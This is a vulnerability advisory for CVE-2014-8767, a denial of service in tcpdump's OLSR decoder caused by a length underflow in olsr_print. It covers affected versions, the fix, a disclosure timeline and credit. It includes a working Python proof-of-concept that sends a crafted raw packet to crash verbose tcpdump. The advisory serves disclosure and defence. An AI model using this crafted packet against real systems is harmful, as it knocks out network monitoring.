CVE-2014-8767 tcpdump denial of service in verbose mode using malformed
OLSR payload
1. Background
tcpdump is a powerful command-line packet analyzer. It allows the user
to intercept and display TCP/IP and other packets being transmitted or
received over a network to which the computer is attached.
2. Summary Information
It was found out that malformed network traffic (OLSR-based) can lead to
an application crash (denial of service) if verbose output of tcpdump
monitoring the network is used.
3. Technical Description
The application decoder for the OLSR protocol fails to perform external
input validation and performs insufficient checking on length
computations leading to an unsafe decrement and underflow in the function
olsr_print (const u_char *pptr, u_int length, int is_ipv6)
In this function msg_len is extracted from the input without sufficient
checks and subtracted sizeof(struct olsr_msg4) which leads to an
underflow of msg_tlen which is used to call olsr_print_neighbor() which
will crash. In case DNS reverse lookup is enabled, this will also lead
to a large amount of invalid DNS reverse lookups.
To reproduce start tcpdump on a network interface
sudo tcpdump -i lo -s 0 -n -v
(running the program with sudo might hide the segfault message on
certain environments, see dmesg for details)
and use the following python program to generate a frame on the network
(might also need sudo):
#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))
olsr_frame =
"\x00\x1b\xc6\x51\x35\x97\x00\x24\x8c\x7a\xff\x6f\x08\x00\x45\x15\x00\x3d\xf3\x7f\x40\x00\x4d\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\xba\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x01\x00\x00\x00"
s.send(olsr_frame)
4. Affected versions
Affected versions are 3.9.6 through 4.6.2
5. Fix
The problem is fixed in the upcoming version tcpdump 4.7.0
6. Advisory Timeline
2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory
7. Credit
The issue was found by
Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de
using a slightly enhanced version of american fuzzy lop
(https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.
